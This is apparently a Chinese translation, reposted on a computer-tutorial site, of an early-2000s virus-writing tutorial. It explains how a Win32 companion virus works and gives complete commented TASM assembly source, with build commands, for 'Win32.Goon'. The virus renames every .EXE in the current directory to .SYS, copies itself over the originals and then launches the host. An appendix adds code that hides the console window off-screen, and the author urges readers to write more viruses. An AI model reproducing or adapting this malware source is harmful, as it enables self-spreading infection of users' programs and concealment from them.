黑吃黑:怎么编写简单的Win32伴侣病毒

黑吃黑:怎么编写简单的Win32伴侣病毒 - 电脑安全 - 电脑教程网

黑吃黑:怎么编写简单的Win32伴侣病毒

日期:2006-10-21   荐:

译者的话:

1. 因为格式问题,本文需用“写字板”打开才能正常阅读

2. 本人只是翻译他人文章,对任何人利用本文造成不良后果不负任何责任!

3. 以下,即原文开始:

朋友们好,

今天我在29A#6中读到了Benny写的一篇文章。它题目是“病毒界的现状”。我对此进行了思考,而后我决然写这

篇教程!因为我想通过这个教程分享我所有的病毒知识。这个教程并不适于了解了本文所述更多内容更多的朋友,

但对于初学者和新手(像我)来说本文有益。是的,希望如此!当我的知识水平更进一步(下一步学习PE)后,我会

写下全部所懂与大家分享。现在,教程开始,希望它对你有所帮助并能坚持看完它->你必须坚持!

声明

你可以引用本文代码,但如果你想....的话,我对你因本文造成的任何破坏不负任何责任!

我的母语不是英语,希望你能理解我话的意思.如果有任何建议可写信至 [email protected]

.....................................................

. .

. 索引: _1_ : 什么是伴侣病毒 .

. .

. _2_ : 伴侣病毒如何工作的 .

. .

. _3_ : 带注释的病毒例子 .

. .

. _4_ : 结束语 .

. .

. _666_ : 附加 [Fuck da Window] .

. .

.....................................................

*** _1_ : 什么是伴侣病毒 ***

伴侣病毒不改变宿主程序的代码,也没有添加代码,挂起或者其他任何动作。它仅仅是重命名宿主程序,然后把

自己复制为宿主程序原来的文件名.当你运行程序时,病毒会首先运行,当它所有工作完成,才接着运行宿主程序

。你可以把宿主和病毒两者的文件名都重命名回原先的文件名,这样宿主程序就能恢复正常。下面给出全过程的原

理图。

第一步:

/-------------\ /-----------\

| | | |

| Program.EXE | ;目标文件的 | Virus.EXE | ;我们必须了解病毒文件中的

| | ;原先文件名 | | ;API函数: GetCommandLineA

\-------------/ \-----------/

第二步:

/-------------\ /-----------\

| | | |

| Program.EXE | | Virus.EXE |

| | | |

\-------------/ \-----------/

|

|

复制为

|

|

/-------------\

| |

| Program.SYS |

| |

\-------------/

第三步:

/-------------\ /-----------\

| | | |

| Program.EXE |<---------复制为-----------| Virus.EXE |

| | | |

\-------------/ \-----------/

恢复方法:

删除Program.EXE

把Program.SYS重命名回Program.EXE

所做就这些了...

*** _2_ : 伴侣病毒如何工作的 ***

1. 获取病毒文件的文件名

2. 创建宿主文件的原先文件名

3. 在当前目录搜索到第一个文件

4. 将目标文件复制为另一个文件名

5. 把病毒文件复制为目标文件脑?任募??

6. 搜索下一个文件->重复4. -->没有其他文件 跳到7.

7. 运行宿主程序 (经过了步 2.)

8. 病毒退出

*** _3_ : 带注释的病毒例子 ***

理论够充足了!让我们看它怎么工作...

编译方法:

TASM32 /z /ml /m3 Goon,,;

TLINK32 -Tpe -c Goon,Goon,, import,lib

;-----cut----------------------------------------Goon.asm-----------------------------------

.386 ;386指令集

.model flat ;内存平坦模式

jumps ;TASM rulez

;

; 你能理解,我想 :)

;

extrn GetCommandLineA :PROC ;获取病毒文件和宿主文件

extrn lstrcpyA :PROC ;复制字符串

extrn FindFirstFileA :PROC ;搜索当前目录第一个匹配的文件

extrn FindNextFileA :PROC ;通过文件句柄搜索下一个文件

extrn CopyFileA :PROC ;复制文件 (往上看 _2_)

extrn CreateProcessA :PROC ;运行宿主

extrn ExitProcess :PROC ;退出病毒程序

;

; 这里,我们声明必需的API函数

; 我想你能理解

;

.data

Goon db ’Win32.Goon - Virus’,0

db ’Only a Example Code’,0

db ’by DiA/auXnet’,0

FILETIME STRUC

FT_dwLowDateTime dd ?

FT_dwHighDateTime dd ?

FILETIME ENDS

WIN32_FIND_DATA label byte

WFD_dwFileAttributes dd ?

WFD_ftCreationTime FILETIME ?

WFD_ftLastAccessTime FILETIME ?

WFD_ftLastWriteTime FILETIME ?

WFD_nFileSizeHigh dd ?

WFD_nFileSizeLow dd ?

WFD_dwReserved0 dd ?

WFD_dwReserved1 dd ?

WFD_szFileName db 260d dup (?)

WFD_szAlternateFileName db 13 dup (?)

WFD_szAlternateEnding db 03 dup (?)

;

; 这是 Win32 Find data:

; 这里保存关于目标文件的所有数据

; 我们仅仅对包含目标文件的名称的"WFD_szFileName"

; 记住我们必须复制目标文件成另外一个文件名,

; 而把病毒复制成目标文件最先的文件名

;

VirusFile db 260d dup (0)

HostFile db 260d dup (0)

HostCopy db 260d dup (0)

;

; 这里创建文件名的空间:病毒文件名,宿主文件名,

; 还有我们必须创建的文件名(从目标文件复制)

;

FileMask db ’*.EXE’,0

FindHandle dd 0

ProcessInfo dd 4 dup (0)

StartupInfo dd 4 dup (0)

;

; 包含我们必须搜索的文件

; FileHandle 包含搜索的文件的句柄 (FindNextFileA)

; ProcessInfo and StartupInfo 仅仅是为了运行宿主 (不重要)

;

.code

start:

;

; ROCK ’N ROLL =)

;

call GetCommandLineA

;

; 这里我们获取包含正在运行的程序文件名的CommandLine

; (病毒文件 :). 现在,line 在eax了, 看下一步...

;

inc eax ; fuck da "

push eax

push offset VirusFile

call lstrcpyA ;复制它

;

; 为什么要’inc eax’???

; 因为CommandLine类似这样:"C:\LUCI\HELL.EXE" (包含 ")

; 我们不能运行,复制带有"的程序,所以我们走到前面一个地方

; 它从eax复制到VirusFile

;

mov esi,offset VirusFile ;now in esi

call GetPoint ;call a kewl procedure ;)

;

; we must find da point to fuck the other "

; 让我们看看...

;

mov dword ptr [esi 4],00000000d ;清除它

;

; 我们走到.EXE后面并清除"号

; ->现在我们得到完整funcional VirusFile

;

push offset VirusFile

push offset HostFile

call lstrcpyA

;

; 把文件名复制到HostFile, 这样我们可以改变它并得到真的Host文件名 (.SYS)

; ...

;

mov esi,offset HostFile

call GetPoint

;

; 得到指针...

;

mov dword ptr [esi],5359532Eh ;5359532Eh = ’SYS.’

;

; 把它重命名为 .SYS (last 4 letters with point)

; 现在我们得到HostFile, 可能运行宿主...

; ...但是等等! 我们必须感染文件!!!

;

push offset WIN32_FIND_DATA

push offset FileMask

call FindFirstFileA

mov dword ptr [FindHandle],eax ;保存句柄

;

; 如果你不懂WIN32_FIND_DATA and FileMask,请往上看...

; Call后Find Handle保存在eax中, FindNextFileA还要用到,我们保存它...

;

FindNext:

test eax,eax ;还有文件?

jz RunHost ;如果没有就跳到RunHost

;

; 当eax是null,说明当前目录里没有更多的文件可以被感染了

; 所有的文件都感染后就运行宿主

;

push offset WFD_szFileName

push offset HostCopy

call lstrcpyA

;

; 得制 WFD_szFileName 到 HostCopy 来重命名和复制它

;

mov esi,offset HostCopy

call GetPoint

;

; 得到指针来重命名文件名为.SYS

; 稍后使用它复制原先的文件为宿主文件

;

mov dword ptr [esi],5359532Eh ; SYS.

;

; 把它重命名为 .SYS (last 4 letters)

; 现在我们做所以工作完成感染目标文件:

; 病毒文件名

; 原先文件名

; 重命名目标文件名

; rock ’n roll =)

;

push 1 ;如果文件已存在就不复制

push offset HostCopy

push offset WFD_szFileName

call CopyFileA

;

; 现在我们复制.EXE文件为.EXE文件,宿主文件在.sys

; 如果文件已经存在,我们就不要复制它,我们不能复制它两次

;

push 0 ;无条件复制

push offset WFD_szFileName

push offset VirusFile

call CopyFileA

;

; 我们复制病毒为目标.EXE文件

; 无条件复制,因为我们不能有两个宿主而没有病毒

;

push offset WIN32_FIND_DATA

push dword ptr [FindHandle]

call FindNextFileA

jmp FindNext

;

; 你还记得我们保存FindHandle吧...

; 我们搜索更多的文件!

; 跳到FindNext并检查更多的文件

;

RunHost:

xor eax,eax ;null

push offset ProcessInfo ;这个,我们不感兴趣

push offset StartupInfo ;...

push eax

push eax

push 00000010h ;创建进程

push eax

push eax

push eax

push offset HostFile

push offset HostFile ;运行它

call CreateProcessA

;

; 记住我们重命名病文件为宿主文件(.SYS), 现在我们通过这个名运行

;

push 0

call ExitProcess

;

; 所有这些做完,我们把控制交给宿主

;

GetPoint:

cmp byte ptr [esi],’.’ ;point?

jz FoundPoint ;je return

inc esi ;scan next place

jmp GetPoint

FoundPoint:

ret ;return

;

; at last the GetPoint procedure...

; scan for ’.’ and if found return to place where are called

;

end start

;

; 晚安

;

;-----cut-----------------------------------------------------------------------------------

*** _4_ : 结束语 ***

嗯,教程完毕。现在你可以写Win32伴侣病毒了。继续写代码,不断学习...读Benny的文章,

你想坚持下去;)我们必须帮助病毒界在不久将来重放光芒!!!

向Benny/29A表示致谢- 是你用杰出的文章激发我写下这篇教程

谢谢阅读...

*** _666_ : 附加 [Fuck da Window] ***

下面给出一种隐藏病毒的简单方法(你知道... 控制台)

;-----cut-----FuckW.asm---------------------------------------------------------------------

.386

.model flat

jumps

;

; bla bla bla

;

extrn SetConsoleTitleA :PROC

extrn FindWindowA :PROC

extrn SetWindowPos :PROC

extrn Sleep :PROC

;

; needed API’s from the FuckWindow procedure

;

extrn MessageBoxA :PROC

extrn ExitProcess :PROC

;

; 这里是其他API

; 仅仅是显示它在工作,还有退出

;

.data

oTitle db ’Only to Show...’,0

oMsg db ’See you a Window in the Back?’,10,13

db ’No, thats good, hee?’,10,13

db ’ DiA /auXnet’,0

;

; 仅仅是摆下姿态 ;)

;

NewConsoleTitle db ’[ANVX]’,0

WindowHandle dd 0

;

; 这里是一个新的控制台标题(任何你想的...)

; 还有WindowHandle,用来保存句柄

;

.code

start:

;

; 这是你掌握的...

;

call FuckWindow

;

; 我们调用这个函数,首先快速隐藏窗体

;

push 0

push offset oTitle

push offset oMsg

push 0

call MessageBoxA

push 0

call ExitProcess

;

; 在这时写下你的代码,任何你想写的...

;

FuckWindow: ;函数

push offset NewConsoleTitle

call SetConsoleTitleA

;

; 这里是隐藏窗体的函数

; 首先我们认定一个新的控制台标题,我们知道窗体必须隐藏

;

call Sleep5 ;过程

;

; 短短的休眠(5 mil sek)它能更好地工作

;

push offset NewConsoleTitle

push 0

call FindWindowA

mov dword ptr [WindowHandle],eax ;句柄

;

; 往上看!我们定义一个新的控制台标题...

; 现在我们搜索窗体(NewConsoleTitle)并保存 WindowHandle

;

call Sleep5

;

; 休眠是很好的...

;

push 0

push 1 ;窗体高度

push 1 ;窗体宽度

push 20000 ;Y

push 20000 ;X

push 0

push dword ptr [WindowHandle]

call SetWindowPos

ret

;

; 通过SetWindowPos隐藏窗体

; 窗体的高和宽是1 (看不到了 :)

; 还有xy坐标是20000 . 在屏幕外面了 =)

; 返回...

;

Sleep5:

push 5

call Sleep

ret

;

; 容易, sleep 5mil sek

; 返回...

;

end start

;-----cut-----------------------------------------------------------------------------------

...编译方法:

TASM32 /z /ml /m3 YourProc,,;

TLINK32 -Tpe -c -aa YourProc,YourProc,, import32.lib

效果-> 现在不是一个"控制台", 它运行在"窗体"下...

完毕。查看TASM说明!

祝你好运...

继续写代码...

_________________

DiA /auXnet (c)02

_________________ (e129)

标签: